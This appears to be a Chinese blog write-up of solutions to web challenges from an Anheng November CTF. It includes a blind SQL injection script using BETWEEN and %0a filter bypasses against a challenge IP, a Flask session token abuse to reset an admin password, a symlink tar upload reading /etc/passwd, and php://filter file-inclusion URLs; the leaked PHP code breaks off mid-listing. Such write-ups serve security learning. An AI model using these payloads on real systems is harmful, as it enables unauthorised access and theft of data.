安恒11月赛Web题目复现

考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好

手速要快

上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的功能,这里的上传是服务器端的问题
直接上传一个非php结尾的文件即可解析
FmMnPS.md.png
然后可以直接输入相关命令获取flag不多说
FmMMvj.png

FmM1rn.md.png

好黑的黑名单

这个题目质量很好,至少我以前都没见过这种盲注,里面利用了between的几个特性,又学到了2333
右键查看源代码就会发现很明显的id参数,这里的思路就是SQL注入
FmM3bq.png
尝试对其进行注入,发现其明显是存在过滤的,一旦遇到关键字就会返回这么坏?想让我下面给你吃吗?XD的字样
如果查询不到的话就会返回想让我下面给你吃?
fuzz一下大概发现过滤的东西有空格,*,union,单引号等等,所以我们就不可以用内联的注入,这里空格我们可以用%0a去绕过,测试一下
FmQ9oV.md.png
下面就是这次盲注的重点知识利用between and
FmQFWF.png
上面两个执行语句就解释了为什么可以这样做,当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个
FmQkz4.png
而且还可以固定好最后一位,然后前面一步步去字母给找出
FmQVy9.png
但是把数据库跑出来以后后面继续加上空格还是会显示1,这在写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过

#!/usr/bin/python
# Author:0verWatch


import requests

burl = 'http://101.71.29.5:10008/show.php?id=-1'

flag  = 0
ans  = ''
result = ''



for i in range(40):
	if flag == 0:
		for j in range(127,32,-1):
			if j == 33:
				flag = 1
			#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web
			#payload  = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'  #admin,flaggg,menu
			#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'  #id,f1agg
			payload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'
			url = burl+ payload
			con  = requests.get(url)
#			print(con.text)
			if u"郑州" in con.text:
				ans = ans + chr(j)
				print(result)
				result = result + hex(j)[2:4]
				break

print(ans)

愉快地拿到flag
FmQndx.md.png

interesting web

这个题目上来就发现有注册,登录,找回密码的功能,通常我们需要注册看一下
登陆之后发现上传页面,但是根据页面一开始提示说明管理员才可以上传tar包,这里就容易想到软连接,但是首先我们得以admin身份登录,这时候根据http可以发现这应该是flask框架写的web
FmQlWD.png

这里有一个点就是flask框架的session可以在浏览器端查看,并且可以读取里面的token值,
FmQGyd.md.png
这东西可以利用在找回密码的功能上面
FmQJOA.md.png
这里面的token值我们可以用来直接修改admin的密码,这东西恰好就是修改密码需要的东西
然后再以admin身份登录,上一个软连接的tar包,先构造一下tar包

ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg

上传后tar包解压,然后curl一下该图片地址获取flag
FmQDSg.md.png

image up

一上来就是个登录页面其实这个登录页面没有用,你随便输如都可以登录到后台上传页面
FmQgwq.md.png
可以看到url,可能存在文件包含,尝试一下读取文件,可以读到一下index以及upload页面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload

index.php

<? php
if (isset($_GET['page'])) {
   
 if (!stristr($_GET['page'], "..")) {
   
   $page = $_GET['page'].".php";
   include($page);
 } else {
   
   header("Location: index.php?page=login");
 }
} else {
   
 header("Location: index.php?page=login");
这里的代码验证不需要任何检验就可以登录

<? php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {
   
 $temp = explode(".", $_FILES["image"]["name"]);
 $extension = end($temp);
 if ((@$_upfileS["image"]["size"] < 102400)) {
   
   if (in_array($extension, $exts)) {
   
     $path 
  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值